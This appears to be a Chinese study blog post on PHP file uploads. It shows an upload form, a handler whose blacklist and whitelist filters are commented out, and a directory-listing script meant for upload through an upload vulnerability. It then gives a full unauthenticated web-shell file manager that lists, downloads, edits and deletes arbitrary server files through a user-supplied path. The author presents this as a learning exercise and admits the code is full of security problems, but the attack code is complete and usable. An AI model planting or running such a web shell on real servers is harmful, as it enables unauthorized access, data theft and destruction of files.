今天学习文件上传的相关知识
上传的前端页面如下
upload.html
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>简单文件上传</title> <style> body { font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto; padding: 20px; } .upload-container { border: 2px dashed #ccc; padding: 20px; text-align: center; border-radius: 5px; } .upload-btn { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; margin-top: 15px; } .upload-btn:hover { background-color: #45a049; } .note { font-size: 14px; color: #666; margin-top: 10px; } </style> </head> <body> <h1>文件上传</h1> <form action="upload.php" method="post" enctype="multipart/form-data"> <div class="upload-container"> <h3>选择要上传的文件</h3> <input type="file" name="file" id="file" required> <p class="note">注意:实际文件上传需要服务器端处理脚本</p> <button type="submit" class="upload-btn">上传文件</button> </div> </form> </body> </html>![]()
配套的php文件如下:
upload.php
<?php $name = $_FILES['file']['name']; $type = $_FILES['file']['type']; $size = $_FILES['file']['size']; $temp_name = $_FILES['file']['tmp_name']; echo $type; $error = $_FILES['file']['error']; $black_ext = array('jpg', 'jpeg', 'gif', 'png');//添加非法文件类型 $fenge = explode(".", $name);//通过.分割文件形成数组 $exts = end($fenge);//拿到数组最后面的数据 //黑名单过滤 //if (in_array($exts, $black_ext)) {//对后缀进行验证 // echo "非法文件'.$exts'";//失败 //}else{ // move_uploaded_file($temp_name, './'.$name);//保存在根目录下 // echo '<script>alert("上传成功");</script>'; //} //白名单过滤 //$allow_type = array('image/jpeg','video/mp4','image/png','image/gif'); //if(!in_array($type,$allow_type)){ // echo '非法后缀'; //}else{ // move_uploaded_file($temp_name,'.'.$name); // echo '<script>alert</script>'; //} ?>
两个过滤模式
黑名单过滤
白名单过滤
html调用后可以上传文件
如果遇到上传漏洞 可以使用一下的简单代码拿到数据 例子如下
<?php $dir = $_GET['dir'] ?? './'; function show_file($dir) { $d = opendir($dir); while(($file=readdir($d))!==false){ if(is_dir($file)){ echo '文件夹:'.$file."<br>"; }else{ echo '文件:'.$file."<br>"; } } } show_file($dir);上传文件成功和 访问即可 这里修改了dir里面的参数
![]()
成功拿到目录信息
优化拿到目录(文件)后的操作
并且添加了删除 下载 修改功能
<?php // 获取操作类型(删除、下载、编辑) $action = isset($_GET['a']) ? $_GET['a'] : ''; // 获取路径参数,默认当前目录 $path = isset($_GET['path']) ? $_GET['path'] : './'; // 路径处理:去除两端斜杠/反斜杠 $path = rtrim($path, '/\\'); //判断是文件还是目录 if (is_file($path)) { $current_dir = dirname($path) . '/'; // 文件所在目录 $file = basename($path); // 文件名 } else { $current_dir = $path . '/'; // 目录路径 // 检查目录是否存在 if (!is_dir($current_dir)) { die('sorry, the directory does not exist: ' . $current_dir); } } //拿到路径信息 function getlist($path) { $hd = opendir($path); // 打开目录句柄 $list = ['dir' => [], 'file' => []]; // 初始化分类数组 // 遍历目录内容 while(($file_name = readdir($hd)) !== false) { // 跳过当前目录(.)和上级目录(..) if($file_name != "." && $file_name != "..") { $file_path = $path . $file_name; // 完整文件路径 // 跳过不存在的文件 if(!file_exists($file_path)) continue; $file_type = filetype($file_path); // 获取文件类型 // 按类型分类存储文件信息 $list[$file_type][] = array( 'file_name' => $file_name, // 文件名 'file_path' => $file_path, // 完整路径 'file_size' => is_file($file_path) ? round(filesize($file_path)/1024) : '-', // 文件大小(KB) 'file_time' => date('Y/m/d', filemtime($file_path)), // 修改日期 ); } } closedir($hd); // 关闭目录句柄 return $list; } // 获取当前目录内容列表 $list = getlist($current_dir); //执行对应操作 switch($action) { // 删除文件操作 case 'del': if(isset($_GET['path'])) { $fileToDelete = $_GET['path']; // 验证文件存在且是普通文件 if(file_exists($fileToDelete) && is_file($fileToDelete)) { // 执行删除 if(unlink($fileToDelete)) { // 删除成功后返回父目录 header("Location: ?path=" . dirname($fileToDelete)); exit; } else { die('删除文件失败,可能是权限不足'); } } else { die('文件不存在或不是普通文件'); } } else { die('未指定要删除的文件路径'); } break; // 文件下载操作 case 'down': if (isset($_GET['path'])) { $file = $_GET['path']; // 验证文件存在且是普通文件 if (file_exists($file) && is_file($file)) { // 设置下载头信息 header('Content-Type: application/octet-stream'); // 二进制流 header('Content-Disposition: attachment; filename="' . basename($file) . '"'); // 下载文件名 header('Content-Length: ' . filesize($file)); // 文件大小 readfile($file); // 输出文件内容 exit; } } break; // 文件编辑操作 case 'edit': if (isset($_GET['path'])) { $file = $_GET['path']; // 处理保存操作(POST请求) if ($_SERVER['REQUEST_METHOD'] === 'POST') { $content = $_POST['content'] ?? ''; // 获取编辑内容 // 写入文件 if (file_put_contents($file, $content) !== false) { // 保存成功返回目录 header("Location: ?path=" . dirname($file)); exit; } else { die('保存文件失败,可能是权限不足'); } } // 显示编辑界面 if (file_exists($file) && is_file($file) && is_readable($file)) { $content = htmlspecialchars(file_get_contents($file)); // 读取内容并转义 $filename = basename($file); // 获取纯文件名 // 输出编辑界面HTML echo <<<HTML <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>编辑文件 - {$filename}</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } h1 { margin-bottom: 20px; } textarea { width: 100%; height: 400px; font-family: monospace; } .actions { margin-top: 10px; } </style> </head> <body> <h1>编辑文件: {$filename}</h1> <form method="post"> <textarea name="content">{$content}</textarea> <div class="actions"> <button type="submit">保存</button> <a href="?path=" . dirname($file) . "">取消</a> </div> </form> </body> </html> HTML; exit; } else { die('文件不可编辑或不存在'); } } break; // 默认情况:显示目录内容 default: break; } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>设备类型图例</title> <style> body { font-family: Arial, sans-serif; margin: 20px; } h1 { text-align: center; margin-bottom: 20px; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { border: 1px solid #ddd; padding: 8px; text-align: left; } th { background-color: #f2f2f2; text-align: center; } img { vertical-align: middle; } </style> </head> <body> <h1>图例</h1> <table> <thead> <tr> <th>图形</th> <th>名称</th> <th>日期</th> <th>大小</th> <th>路径</th> <th>操作</th> </tr> </thead> <tbody> <?php foreach ($list['dir'] as $v): ?> <tr> <td><img src="./img/file.png" width="20" height="20"></td> <td><?php echo htmlspecialchars($v['file_name']); ?></td> <td><?php echo $v['file_time']; ?></td> <td>-</td> <td><?php echo htmlspecialchars($v['file_path']); ?></td> <td><a href="?path=<?php echo urlencode($v['file_path']); ?>">打开</a></td> </tr> <?php endforeach; ?> <?php foreach ($list['file'] as $v): ?> <tr> <td></td> <td><?php echo htmlspecialchars($v['file_name']); ?></td> <td><?php echo $v['file_time']; ?></td> <td><?php echo $v['file_size']; ?></td> <td><?php echo htmlspecialchars($v['file_path']); ?></td> <td> <a href="?a=edit&path=<?php echo urlencode($v['file_path']); ?>">编辑</a> <a href="?a=down&path=<?php echo urlencode($v['file_path']); ?>">下载</a> <a href="?a=del&path=<?php echo urlencode($v['file_path']); ?>" οnclick="return confirm('确定删除吗?')">删除</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </body> </html> 功能就不一一展示了![]()
功能都可以实现 但是全是安全问题
通过代码 知道了大致的文件上传的过程于一些基本的安全问题